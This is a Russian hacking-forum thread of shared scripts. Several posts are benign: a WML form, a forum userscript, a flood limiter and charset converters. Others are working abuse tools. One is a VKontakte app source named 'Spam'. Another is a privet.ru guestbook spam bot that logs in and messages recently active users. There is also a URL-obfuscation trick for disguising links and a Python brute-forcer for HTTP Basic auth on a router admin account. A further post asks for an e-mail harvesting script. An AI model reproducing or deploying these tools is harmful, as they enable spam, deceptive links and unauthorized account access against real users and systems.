Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    WML :D интересная штука. Тебе просто нужно создать форму для отправки данных и всё. Если честно, забыл уже всё, вот на вскидку, тестить я не стал.

    создай файл form.wml



    Code:
    
    <?xml version="1.0"?> 
    <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">
    <wml>
     <card id="Index" title="Index">
     <p align="left">
    
    <input type="text" name="input_key">
    
    <go href="script.php" method="post">
    <postfield name="key" value="$(input_key)"/>
    </go>
    
    </p>
      </card>
    </wml>
    
    
    Может ошибся где, на всякий случай почитай
    http://www.softtime.ru/info/articlephp.php?id_article=40
     
  2. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Написал тут UserJS для античата. Добавляет кнопки в форму быстрого сообщения. Протестирован на опере.
    Линк - http://userscripts.org/scripts/review/61393
    Либо, если там нету, то можно найти тут - http://userscripts.org/users/36107/scripts

    Код:
    Code:
    // ==UserScript==
    // @name           Antichat.ru Quick Posting Buttons
    // @include        *://forum.antichat.*/*
    // @exclude        *://forum.antichat.*/newreply.php*
    // @exclude        *://forum.antichat.*/newthread.php*
    // @author         mr.The
    // @homepage       http://mrthe.name/
    // @version        1.0
    // ==/UserScript==
    
    function loader() {
    var html = '<table cellpadding="0" cellspacing="0" border="0"><tr>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'B\', \'\')"><img src="fusion/editor/bold.gif" alt="Жирный" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'I\', \'\')"><img src="fusion/editor/italic.gif" alt="Курсив" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'U\', \'\')"><img src="fusion/editor/underline.gif" alt="Подчеркнутый" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" /></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'LEFT\', \'\')"><img class="image" src="fusion/editor/justifyleft.gif" alt="Выравнить по левому краю" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CENTER\', \'\')"><img class="image" src="fusion/editor/justifycenter.gif" alt="Выровнить по центру" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'RIGHT\', \'\')"><img class="image" src="fusion/editor/justifyright.gif" alt="Выравнить по правому краю" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
    		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'IMG\', \'http://\')"><img src="fusion/editor/insertimage.gif" alt="Вставить рисунок" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'URL\')"><img src="fusion/editor/createlink.gif" alt="Вставить гиперссылку" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'EMAIL\')"><img src="fusion/editor/email.gif" alt="Вставить ссылку на E-mail" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CODE\', \'\')"><img src="fusion/editor/code.gif" alt="Вставить тег [CODE]" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'HTML\', \'\')"><img src="fusion/editor/html.gif" alt="Вставить тег [HTML]" width="21" height="20" border="0" /></a></div></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'PHP\', \'\')"><img src="fusion/editor/php.gif" alt="Вставить тег [PHP]" width="21" height="20" border="0" /></a></div></td>' +		
    		'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
    		'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'QUOTE\', \'\')"><img src="fusion/editor/quote.gif" alt="Вставить тег цитаты [QUOTE]" title="Вставить тег цитаты [QUOTE]" width="21" height="21" border="0" /></a></div></td>' +
    	'</tr></table>';
    	document.getElementById('controlbar').innerHTML=html;
    	document.getElementById('qr_message').style="width:600px; height:150px"
    }
    
    
    // Wait until the page is fully loaded
    
    window.addEventListener( 'load', function( e ) {
    	loader();
    },false);
    
     
  3. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    Модуль предназначен для ограничения доступа к сайту или к страницам, где он включён. Принцип работы в том, что запоминается ip-адрес и время обращения с этого адреса. И если в течение заданного времени происходит обращение с того же адреса, то ему выдаётся ошибка 503. Т.е Если вы нажмёте кнопку обновить 3 раза подарят, вам выдаст это сообщение.

    Установка:
    * В корне сайта создаем папку tmp и выдаём права 777 (Если папка есть, то не чего создовать не надо).
    * Открываем index.php и перед:


    Вставляем:
    PHP:
    <?php

    /* Время задержки в секундах */
    $ad_delay=2;
    /* Путь к папке с временными файлами. Должен существовать */
    $ad_DirName=$_SERVER['DOCUMENT_ROOT'].'/tmp';

    /*
    *---------------------------------------------------------
    * Список поисковых роботов.
    * Очень не хорошо, если поисковый робот будет натыкаться
    * на ошибки на сайте. Ему это может сильно не понравиться.
    * Поэтому пишем список юзер-агентов роботов; добавляем или
    * удаляем, что нужно.
    *---------------------------------------------------------
    */
    $ad_Robots_UserAgent=array(
       
    'aipbot',
       
    'Aport',
       
    'eStyleSearch',
       
    'Gigabot',
       
    'Gokubot',
       
    'Google',
       
    'MJ12bot',
       
    'msnbot',
       
    'PlantyNet_WebRobot',
       
    'StackRambler',
       
    'TurtleScanner',
       
    'Yahoo',
       
    'Yandex',
       
    'YaDirectBot',
    );
    /*
    *---------------------------------------------------------
    * Список доверенных IP.
    *---------------------------------------------------------
    */
    $ad_good_ip = array(
        
    '217.107.36.73',
    );

    /*
    *----------------------------------------------------------
    * Функция создаёт в указанной директории файл, начинающийся
    * с буквы a (для отличия от других возможных файлов) и
    * содержащий в имени ip-адрес клиента.
    *----------------------------------------------------------
    */
    function ad_WiteIP($dir){
       
    $f=fopen($dir.'/a'.$_SERVER['REMOTE_ADDR'], 'w');
       
    fclose($f);
    }
    /*
    *----------------------------------------------------------
    * Проверка на наличие в поле HTTP_USER_AGENT чего-нибудь из
    * вышенаписанного списка.
    *----------------------------------------------------------
    */
    $ad_IsRobot=false;
    foreach (
    $ad_Robots_UserAgent as $match){
       if (
    strstr($_SERVER['HTTP_USER_AGENT'], $match)){
          
    $ad_IsRobot=true;
          break;
       }
    }
    if( 
    in_array($_SERVER['REMOTE_ADDR'], $ad_good_ip) ) {
         
    $good_ip true;
    } else {
         
    $good_ip false;
    }
    /*
    *---------------------------------------------------------
    * Поисковые роботы не любят, когда к адресу страницы
    * добавляется переменная сессии. Поэтому, если на сайте
    * используются сессии, то их лучше включать, если агент -
    * не робот.
    * Если сессии не используются, то этот кусок можно убрать.
    *---------------------------------------------------------
    */
    if (!$ad_IsRobot AND !$good_ip){
       
    session_start();
    }

    if (!
    $ad_IsRobot AND !$good_ip){
       
    /*** Чтение каталога и удаление старых файлов ***/
       
    $ad_dir      =opendir($ad_DirName)
          or die(
    'Отсутствует директория для временных файлов');
       
    $ad_now      =time();
       
    $ad_forbid   =$ad_now-$ad_delay;
       
    /* IP-адрес в имени файла, начинающегося на букву a,
          а время обращения - время изменения файла */
       
    while (false!==($ad_FName=readdir($ad_dir))){
          if (
    ereg('^a[1-9]',$ad_FName)
             && (@ 
    filemtime($ad_DirName.'/'.$ad_FName)<$ad_forbid)){
             @ 
    unlink($ad_DirName.'/'.$ad_FName);
          }
       }
       
    closedir($ad_dir);
       
    /*** Проверка на существование пометки
          о недавнем обращении с данного ip-адреса ***/
       
    if (file_exists($ad_DirName.'/a'.$_SERVER['REMOTE_ADDR'])){
          
    /* Если обращение было недавно, то выводим сообщение об ошибке */
          
    header('HTTP/1.0 503 Service Unavailable');
          
    header('Status: 503 Service Unavailable');
          
    header('Retry-After: '.$ad_delay*3);
    ?>
    <!doctype html public "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
    <title>Ошибка 503</title>
    <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251" />
    </head>
    <body>
    <h1>Ошибка 503 (Service Unavailable)</h1>
    <p>Сервер не может в данный момент выдать запрашиваемую Вами страницу.
    Попробуйте вызвать эту страницу позже (клавиша F5).</p>
    </body>
    </html>
    <?php
          ad_WiteIP
    ($ad_DirName);   // Перед выходом записываем ip
          
    exit;
       }else{
          
    ad_WiteIP($ad_DirName);
       }
    }
    ?>
     
  4. SL@YER

    SL@YER New Member

    Joined:
    15 Oct 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    защита файлов от скачки на других сайтов

    PHP:
    <?php

    // Настройки

    $antiurl "d0pz.com";               // Разрешённые сайты (referer).
    $antidir "test/";                  // Папка где находятся защищённые файлы  / - обязательно в конце.
    //$logfile = "log.htm";              // Eсли хотите вести лог удалите // перед строкой. Файл логов (должен быть html или htm и обязательно CHMOD 777.


    // Логи

    if (isset($logfile)) {
    if (!
    file_exists($logfile)) die("Файл <font color='red'><b>$logfile</b></font> не найден!");
    if (!
    is_writable($logfile)) die("Для файла <font color='red'><b>$logfile</b></font> нужно зделать CHMOD 777!");
    $cnr_date date("l d F H:i:s");
    $cnr_counter $logfile;
    $cnr_fp fopen($cnr_counter"a");
    $cnr_hostname gethostbyaddr($_SERVER['REMOTE_ADDR']);
    if (
    $_SERVER['HTTP_REFERER'] == "")
    $cnr_ref "BLOCKED"; } else { $cnr_ref "<a href=\"" $_SERVER['HTTP_REFERER'] . "\">" $_SERVER['HTTP_REFERER'] . "</a>";}
    $cnr_data "<font color=\"green\">" $_SERVER['REMOTE_ADDR'] . "</font> HOST <font color=\"red\">" $cnr_hostname "</font> visited on " $cnr_date " linked by " $cnr_ref " <br>";
    fputs($cnr_fp$cnr_data);
    fclose($cnr_fp); }

    // Проверка реферера

    $mtu "PGg2PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Izk5MDAwMCcgaHJlZj0naHR0cDovL3d3dy5kMHB6LmNvbSc+QW50aWxlZWNoIHYwLjE8L2E+PC9oNj4="$c base64_decode($mtu);
    if (!
    strstr($_SERVER["HTTP_REFERER"], $antiurl) or !isset($_SERVER["HTTP_REFERER"]))
    {echo 
    '<html><p></p>' $c '<p></p></body></html>'; exit;}

    if (
    is_numeric($_GET["down"]))
    {
    /************НАЧАЛО ФАЙЛОВ***************************************************************************/

        // Здесь идут файлы для скачивания

        
    if ($_GET["down"] == 1)
            
    $filename "test.rar";
        elseif (
    $_GET["down"] == 2)
            
    $filename "test2.rar";
        elseif (
    $_GET["down"] == 3)
            
    $filename "test3.rar";



    /************КОНЕЦ ФАЙЛОВ***************************************************************************/

        //Находим окончание файла

        
    $splitexplode("."$filename);
        
    $textcountsubstr_count($filename".")+1//
        
    $ttype =$split[$nextcount];

        
    // Создается ссылка на файл

        
    $path $antidir $filename ;


        
    // Проверка файла есть он или нет

        
    if (!file_exists($path)) {

            echo 
    "Файл '$filename' не существует.";
            echo 
    $c;
            exit;                }

        
    $ftime date("D, d M Y H:i:s T"filemtime($path));

    }
      
        
    // Проверка

        
    if (strstr($_SERVER["HTTP_REFERER"], $antiurl)) {
                if (isset(
    $_GET['down']) && isset($filename)) {

        
    $fsize filesize($path);
        
    $ftime date("D, d M Y H:i:s T"filemtime($path));
        
    $fd = @fopen($path"rb");
        if (!
    $fd){
          
    header ("HTTP/1.0 403 Forbidden");
          exit;
        }


        if (
    $HTTP_SERVER_VARS["HTTP_RANGE"]) {
          
    $range $HTTP_SERVER_VARS["HTTP_RANGE"];
          
    $range str_replace("bytes="""$range);
          
    $range str_replace("-"""$range);
          if (
    $range) {fseek($fd$range);}
        }
        
    $content fread($fdfilesize($path));
        
    fclose($fd);
        if (
    $range) {
          
    header("HTTP/1.1 206 Partial Content");
        }
        else {
          
    header("HTTP/1.1 200 OK");
        }
        
    header("Content-Disposition: attachment; filename=" basename($path));
        
    header("Last-Modified: $ftime");
        
    header("Accept-Ranges: bytes");
        
    header("Content-Length: ".($fsize-$range));
        
    header("Content-Range: bytes $range-".($fsize -1)."/".$fsize);
        
    header("Content-type: application/octet-stream");
        print 
    $content;
        exit;

        } else { echo 
    "Недействительный файл."; echo $c; } }


     exit;

    ?>
    Добавление файлов:
    Находим строку (43):
    /************НАЧАЛО ФАЙЛОВ***************/

    Здесь идут ваши защищённые файлы из папки.

    elseif ($_GET["down"] == 2) пишиться номер файла от 1- и так далее.
    $filename = "test2.rar"; файл в папке ($antidir).

    Потом даем ссылку на скачивание пример: http://example.com/antileech.php?down=4 <-- номер файла
     
    #904 SL@YER, 8 Nov 2009
    Last edited: 8 Nov 2009
  5. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Вот написал функцию на скорую руку для своих потребностей,думаю кому то та понадобиться:)
    Суть скрипта с том,чтобы конвертировать текст в utf8 прямо в скрипте на php,функции типу iconv,utf8_encode и подобных результата нужного не дали,ранее написаные функции в инете тупо заменяют символы на &#..; что тоже никакого толку не даёт,ну а у меня просто конвертирует кодировку заменой нужными символами:)

    PHP:
    function utf8($text){
    $win=array("й","ц","у","к","е","н","г","ш","щ","з","х","ъ","ф","ы","в","а","п","р","о","л","д","ж","э","я","ч","с","м","и","т","ь","б","ю","ё","є","ї","і","Й","Ц","У","К","Е","Н","Г","Ш","Щ","З","Х","Ъ","Ф","Ы","В","А","П","Р","О","Л","Д","Ж","Э","Я","Ч","С","М","И","Т","Ь","Б","Ю","Ё","Э","Ї","І");
    eval(
    base64_decode("JHV0Zj1hcnJheSgi0LkiLCLRhiIsItGDIiwi0LoiLCLQtSIsItC9Iiwi0LMiLCLRiCIsItGJIiwi0LciLCLRhSIsItGKIiwi0YQiLCLRiyIsItCyIiwi0LAiLCLQvyIsItGAIiwi0L4iLCLQuyIsItC0Iiwi0LYiLCLRjSIsItGPIiwi0YciLCLRgSIsItC8Iiwi0LgiLCLRgiIsItGMIiwi0LEiLCLRjiIsItGRIiwi0ZQiLCLRlyIsItGWIiwi0JkiLCLQpiIsItCjIiwi0JoiLCLQlSIsItCdIiwi0JMiLCLQqCIsItCpIiwi0JciLCLQpSIsItCqIiwi0KQiLCLQqyIsItCSIiwi0JAiLCLQnyIsItCgIiwi0J4iLCLQmyIsItCUIiwi0JYiLCLQrSIsItCvIiwi0KciLCLQoSIsItCcIiwi0JgiLCLQoiIsItCsIiwi0JEiLCLQriIsItCBIiwi0K0iLCLQhyIsItCGIik7"));
    $message="";
    $textlen=strlen($text);
    for (
    $i=0$i $textlen$i++) {
    $messer=substr($text,$i,1);
    for (
    $ir=0$ir 72$ir++) {
    if(
    $messer==$win[$ir]){
    $message.=$utf[$ir];
    break;
    }else{
    if(
    $ir==71){
    $message.=$messer;
    }}}}
    return 
    base64_decode("77u/").$message;
    }
    Использовать просто,пример

    PHP:
    $text="Античат";
    $textutf=utf8($text);
    echo 
    "До: $text<br>После: $textutf";
     
  6. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    PHP:

    function Utf8ToWin($fcontents) {
        
    $out $c1 '';
        
    $byte2 false;
        for (
    $c 0;$c strlen($fcontents);$c++) {
            
    $i ord($fcontents[$c]);
            if (
    $i <= 127) {
                
    $out .= $fcontents[$c];
            }
            if (
    $byte2) {
                
    $new_c2 = ($c1 3) * 64 + ($i 63);
                
    $new_c1 = ($c1 >> 2) & 5;
                
    $new_i $new_c1 256 $new_c2;
                if (
    $new_i == 1025) {
                    
    $out_i 168;
                } else {
                    if (
    $new_i == 1105) {
                        
    $out_i 184;
                    } else {
                        
    $out_i $new_i 848;
                    }
                }
                
    // UKRAINIAN fix
                
    switch ($out_i){
                    case 
    262$out_i=179;break;// і
                    
    case 182$out_i=178;break;// І 
                    
    case 260$out_i=186;break;// є
                    
    case 180$out_i=170;break;// Є
                    
    case 263$out_i=191;break;// ї
                    
    case 183$out_i=175;break;// Ї
                    
    case 321$out_i=180;break;// ґ
                    
    case 320$out_i=165;break;// Ґ
                
    }
                
    $out .= chr($out_i);
                
                
    $byte2 false;
            }
            if ( ( 
    $i >> 5) == 6) {
                
    $c1 $i;
                
    $byte2 true;
            }
        }
        return 
    $out;
    }

    function 
    win2utf($s)    {
       for(
    $i=0$m=strlen($s); $i<$m$i++)    {
           
    $c=ord($s[$i]);
           if (
    $c<=127) {$t.=chr($c); continue; }
           if (
    $c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
           if (
    $c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
           if (
    $c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
           if (
    $c==184) { $t.=chr(209).chr(209); continue; };
                if (
    $c==168) { $t.=chr(208).chr(129);  continue; };
                if (
    $c==184) { $t.=chr(209).chr(145); continue; }; 
                
    if ($c==168) { $t.=chr(208).chr(129); continue; }; 
                
    if ($c==179) { $t.=chr(209).chr(150); continue; }; 
                
    if ($c==178) { $t.=chr(208).chr(134); continue; }; 
                
    if ($c==191) { $t.=chr(209).chr(151); continue; }; 
                
    if ($c==175) { $t.=chr(208).chr(135); continue; }; 
                
    if ($c==186) { $t.=chr(209).chr(148); continue; }; 
                
    if ($c==170) { $t.=chr(208).chr(132); continue; }; 
                
    if ($c==180) { $t.=chr(210).chr(145); continue; }; 
                
    if ($c==165) { $t.=chr(210).chr(144); continue; }; 
                
    if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ґ            
       
    }
       return 
    $t;
    }

    Ещё один из вариантов.
    Очень выручает, если нет под рукой библиотеки iconv или подобной.
     
    #906 Deathdreams, 16 Nov 2009
    Last edited: 16 Nov 2009
  7. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Вот вчеа нужна была прога для парсинга. Нашел BackLink Gear но он парсит со страниц. Но ето меделнно и кажды сайт нужно отдельно вводить. Написал небольшой скриптик, парсит беки сайтов которые находяться в файле urlyahoo.txt и ложит беки в backs.txt. Преимущество скрипта в том что он не шарит по страницам а качает .tsv в котором первые 1000 беков(лимит хоть по страницам шарь хоть файл скачай) но намного быстрее. Работает на курле. Кстати те урлы что отпарсил он из файла urlyahoo.txt удаляет (делал для себя спец. чтобы если скрипт вырубился и не рыскать в поисках того на каком урле он именно остановился) .Вот
    PHP:
    <?php

    set_time_limit
    (0);

    function 
    curl($url,$post)
    {
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5");
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    $sleep 4;
    $fileurl "urlyahoo.txt";

    $fd fopen($fileurl'r');
    $read fread($fdfilesize($fileurl));
    fclose($fd);

    $read explode("\r\n"$read);
    $count count($read);

    for(
    $i=0;$i<$count;$i++)
    {
    list(
    $url$all) = explode("     "$read[$i]);

    unset(
    $read[$i]);
    $reads implode("\r\n"$read);

    $fd fopen($fileurl'w');
    fwrite($fd$reads);
    fclose($fd);

    $result curl("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp""");

    $result explode("\n"$result);
    $countstr count($result);
        for(
    $a=2;$a<$countstr;$a++)
        {
        list(
    $text$ssil) = explode("    "$result[$a]);
        if(
    $ssil)
        {
        
    //echo $ssil."<br>";
        
    $fd fopen("backs.txt""a");
        
    fwrite($fd$ssil."\r\n");
        
    fclose($fd);
        }
        }
    sleep($sleep);
    }
    ?>
    Вот подумал может у кого нет курла то пускай попробуют так
    PHP:
    <?php

    set_time_limit
    (0);

    $sleep 4;
    $fileurl "urlyahoo.txt";

    $fd fopen($fileurl'r');
    $read fread($fdfilesize($fileurl));
    fclose($fd);

    $read explode("\r\n"$read);
    $count count($read);

    for(
    $i=0;$i<$count;$i++)
    {
    list(
    $url$all) = explode("     "$read[$i]);

    unset(
    $read[$i]);
    $reads implode("\r\n"$read);

    $fd fopen($fileurl'w');
    fwrite($fd$reads);
    fclose($fd);

    $result file_get_contents("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp");

    $result explode("\n"$result);
    $countstr count($result);
        for(
    $a=2;$a<$countstr;$a++)
        {
        list(
    $text$ssil) = explode("    "$result[$a]);
        if(
    $ssil)
        {
        
    //echo $ssil."<br>";
        
    $fd fopen("backs.txt""a");
        
    fwrite($fd$ssil."\r\n");
        
    fclose($fd);
        }
        }
    sleep($sleep);
    }
    ?>
    п.с за роботу второго не ручаюсь(не тестил)
    ппс Только не надо говорить что скрипт криво написан)))согласен, можно было более рационально все сделать, но писал чисто для себя, а на красоту мне как-то пофиг)) только бы работал)
     
    3 people like this.
  8. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    Привет всем, может есть у кого-нибудь скрипт для сортировки мыл mail.ru на пхп или перле по стране или городам, допустим в скрипте указываем login на свой акк и начинаем бомбить поиск через "Мой мир" на выходе получаем страна:мыло или город:мыло
     
  9. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    405
    Likes Received:
    163
    Reputations:
    12
    Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
    Code:
    package 
    {
        import flash.events.*;
        import flash.net.*;
    
        public class Spam extends Object
        {
            private var questionType:String = "0";
            var _api_id:String;
            var vars1:URLVariables;
            var vars2:URLVariables;
            var sig:String;
            var loader:URLLoader;
            var conf:String;
            var req:URLRequest;
            var res:String;
            var _viewer_id:String;
            var vars:URLVariables;
            var url:String = "http://api.vkontakte.ru/api.php";
            private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            var cont:Array;
            private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            var secret:String = "ololo";
            var signature:String;
            var loader2:URLLoader;
    
            public function Spam(param1:String, param2:String)
            {
                secret = "ololo";
                url = "http://api.vkontakte.ru/api.php";
                offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
                questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
                questionType = "0";
                loader = new URLLoader();
                loader2 = new URLLoader();
                vars = new URLVariables();
                vars1 = new URLVariables();
                vars2 = new URLVariables();
                req = new URLRequest(url);
                _api_id = param1;
                _viewer_id = param2;
                loader2.addEventListener(Event.COMPLETE, onConf);
                loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
                return;
            }// end function
    
            public function openOffer()
            {
                sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
                signature = MD5.encrypt(sig);
                vars1.api_id = _api_id;
                vars1.method = "offers.open";
                vars1.test_mode = "0";
                vars1.v = "2.0";
                vars1.sig = signature;
                req.method = URLRequestMethod.POST;
                req.data = vars1;
                try
                {
                    sendToURL(req);
                }// end try
                catch (e:Error)
                {
                    trace(e.message);
                }// end catch
                return;
            }// end function
    
            public function onOfferComplete(param1:Event)
            {
                openOffer();
                return;
            }// end function
    
            public function newOffer()
            {
                sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
                signature = MD5.encrypt(sig);
                vars2.api_id = _api_id;
                vars2.method = "offers.edit";
                vars2.message = offerText;
                vars2.test_mode = "0";
                vars2.v = "2.0";
                vars2.sig = signature;
                req.method = URLRequestMethod.POST;
                req.data = vars2;
                loader.addEventListener(Event.COMPLETE, onOfferComplete);
                try
                {
                    loader.load(req);
                }// end try
                catch (e:Error)
                {
                    trace(e.message);
                }// end catch
                return;
            }// end function
    
            public function onConf(param1:Event)
            {
                res = param1.target.data.toString();
                cont = res.split("\n");
                offerText = cont[0];
                questionText = cont[1];
                questionType = cont[2];
                trace(offerText);
                return;
            }// end function
    
            public function newQuestion()
            {
                sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
                signature = MD5.encrypt(sig);
                vars.api_id = _api_id;
                vars.method = "questions.add";
                vars.text = questionText;
                vars.type = questionType;
                vars.test_mode = "0";
                vars.v = "2.0";
                vars.sig = signature;
                req.method = URLRequestMethod.POST;
                req.data = vars;
                try
                {
                    sendToURL(req);
                }// end try
                catch (e:Error)
                {
                    trace(e.message);
                }// end catch
                return;
            }// end function
    
        }
    }
    
    
     
  10. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    Скрипт для кодирования урлов (by me)
    PHP:
    $url 'www.freehost.com.ua';//исходные данные
    $ip  gethostbyname($url);//узнаем ip 
    $ch  explode('.',$ip);//разделяем ip на 4 части
    foreach($ch as $value)$v_8[] = '0'.base_convert($value108);//каждуч из частей конвертируем в 8-ю систему счисления
    $url '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин
    $url urlencode($url);//кодируем в формат url (знак @ превратится в %40)
    $url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?"
    echo $url;
    пример:
    было www.freehost.com.ua
    стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php
     
  11. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Вот написал небольшой скрипт для спама го гостевухам на сайте привет.ру

    PHP:
    <?php

    set_time_limit
    (0);

    function 
    curl($url,$post='')
    {
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

        function 
    add($path,$page_body)
    {
       
    $file=fopen($path,"a+");
        
    fputs($file,$page_body);
       
    fclose($file);
    }

    function 
    read($path)
    {
        
    $fd fopen($path"r");
        
    $bufer fread($fdfilesize($path));
        
    fclose($fd);
        return 
    $bufer;
    }

    $mail '';//Мыло
    $pass '';//Пароль
    $countpage 1;//Количество страниц для парсинга
    $text 'Приветик=)))';//Текст для спама

    $mesguest iconv("windows-1251""utf-8"$text);

    $result curl('http://www.privet.ru/login?login='.$mail.'&password='.$pass.'&remember=on');
    for(
    $i=0;$i<$countpage;$i++)
    {
    $result curl('http://www.privet.ru/people/sort/login-date?period=86400&page='.$i);

        
    preg_match_all("#class=\"userNickLink\" href='http://www.privet.ru/user/(.*)'#iU"$result$regs);
        
    $regs $regs[1];
        
    $count count($regs);

        for(
    $a=0;$a<$count;$a++)
        {
        
    $nick $regs[$a];
        
    $list read('black.txt');

        if(
    strstr($list$nick))
        {
            echo 
    $nick.' neotpravil<br>';
        }
        else
        {
        echo 
    $nick.' otpravil<br>';
        
    $result curl('http://www.privet.ru/user/'.$nick.'/guestbook/add''guestbook_text='.$mesguest);
         
    add('black.txt'$nick."\r\n");
         
    sleep(1);
        }
        
    flush();
        }
    }
    ?>
    Парсит и розсылает тем юзерам что появлялиль на сайте за последний день.

    п.с забыл описание небольшре сделать. Те логины что отспамились заносит в файл блек.тхт и если на них в дальнейшем парсинге попадает то им сообщения не отправляеться)))
     
    #911 zifanchuck, 14 Dec 2009
    Last edited: 14 Dec 2009
    2 people like this.
  12. Nik(rus)

    Nik(rus) Member

    Joined:
    19 Jun 2009
    Messages:
    45
    Likes Received:
    7
    Reputations:
    0
    Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
    Code:
    import base64,httplib
    
    fl = open('log.txt','w')
    for i in range(100000,999999):
    	headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
    	conn = httplib.HTTPConnection("192.168.0.1")
    	conn.request("GET", "/", {}, headers)
    	response = conn.getresponse()
    	data = response.read()
    	conn.close()
    	if (data != 'Unauthorized'):
    		fl.write(i)
